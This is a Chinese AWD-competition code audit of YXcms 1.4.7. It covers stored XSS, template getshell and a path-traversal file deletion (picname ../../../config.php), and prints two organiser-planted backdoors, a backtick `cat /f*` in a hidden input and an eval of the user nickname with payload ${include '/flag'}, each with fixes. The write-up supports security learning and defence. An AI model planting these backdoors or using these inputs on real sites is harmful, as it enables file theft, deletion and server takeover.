AWD代码审计—YXcms1.4.7
字数 1622 2025-08-27 12:33:23
YXcms 1.4.7 代码审计与漏洞分析报告
0x01 前言
本文档对YXcms 1.4.7版本进行了全面的代码审计,发现了多个安全漏洞,包括官方版本存在的漏洞和比赛方添加的后门。这些漏洞涉及前台XSS、后台getshell、任意文件删除等多种类型,对系统安全构成严重威胁。
0x02 系统概述
YXcms 1.4.7是一个基于MVC架构的内容管理系统,主要特点包括:
- 采用MVC路由模式
- 前后台分离设计
- 存在多个自定义表和扩展功能
- 官方版本存在多个未修复的安全漏洞
0x03 官方漏洞分析
3.1 前台存储型XSS漏洞
漏洞位置:留言功能模块
漏洞描述:
- 前台留言内容未经过滤直接插入数据库
- 后台读取时也未进行过滤处理
关键代码:
// protected/apps/admin/controller/extendfieldController.php
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}
...
}
利用方式:
- 在前台留言中插入恶意脚本
- 管理员查看留言时触发XSS
修复建议:
- 前台和后台都应添加HTML实体编码过滤
- 使用专门的XSS过滤函数处理用户输入
3.2 后台模板getshell漏洞
漏洞位置:后台模板管理功能
漏洞描述:
- 后台存在可直接编辑模板的功能
- 无需管理员权限即可访问
关键文件:/protected/apps/default/view/default/1.php
利用方式:
- 通过模板编辑功能上传恶意PHP代码
- 直接访问模板文件执行任意代码
修复建议:
- 严格限制模板编辑权限
- 对模板文件内容进行安全检测
- 禁止直接执行模板文件
3.3 任意文件删除漏洞
漏洞位置:photo控制器下的delpic方法
漏洞描述:
- 参数picname完全可控
- 未对文件路径进行限制
- 可删除服务器上任意文件
关键代码:
// protected/apps/admin/controller/photoController.php
public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}
利用方式:
- 构造恶意picname参数,如
../../../config.php - 发送POST请求删除关键系统文件
修复建议:
- 严格限制picname参数格式
- 检查文件路径是否在允许目录内
- 添加操作日志记录
0x04 比赛方添加的后门分析
4.1 后门一:命令执行漏洞
漏洞位置:protected/apps/default/view/default/extend_guestbook.php
漏洞描述:
- 隐藏输入框中直接使用反引号执行系统命令
- 可读取服务器上的敏感文件
关键代码:
<input type="hidden" class="input" name="qq" placeholder="<?php echo `cat /f*`;?>" />
利用方式:
- 访问留言页面
- 查看页面源代码获取命令执行结果
修复建议:
- 删除恶意代码行
- 审查所有视图文件中的可疑代码
4.2 后门二:eval代码执行漏洞
漏洞位置:protected/apps/member/view/index_welcome.php
漏洞描述:
- 使用eval函数动态执行用户控制的nickname
- 通过变量注入实现任意代码执行
关键代码:
<td>当前用户:<font color="blue"><?php eval("echo ${auth['nickname']};");?></font></td>
利用方式:
- 注册用户并设置nickname为恶意代码,如
${include '/flag'} - 登录后访问用户主页触发代码执行
修复建议:
- 将eval语句替换为直接输出:
{$auth['nickname']} - 对用户输入的nickname进行严格过滤
- 限制nickname的字符集
0x05 防御与修复建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用白名单机制限制输入格式
-
权限控制:
- 实施最小权限原则
- 后台功能需严格权限检查
-
安全编码:
- 避免使用eval、system等危险函数
- 使用预处理语句防止SQL注入
-
日志审计:
- 记录所有敏感操作
- 定期审查系统日志
-
后门检测:
- 定期进行代码审计
- 使用文件完整性监控工具
0x06 总结
YXcms 1.4.7版本存在多个严重安全漏洞,包括:
- 前台存储型XSS
- 后台模板getshell
- 任意文件删除
- 比赛方添加的命令执行和代码执行后门
这些漏洞的组合利用可导致系统完全沦陷。建议开发者立即修复这些漏洞,管理员应检查系统是否已被植入后门。在AWD比赛中,快速发现和利用这些漏洞是取胜的关键,同时也需要防范对手利用这些漏洞进行攻击。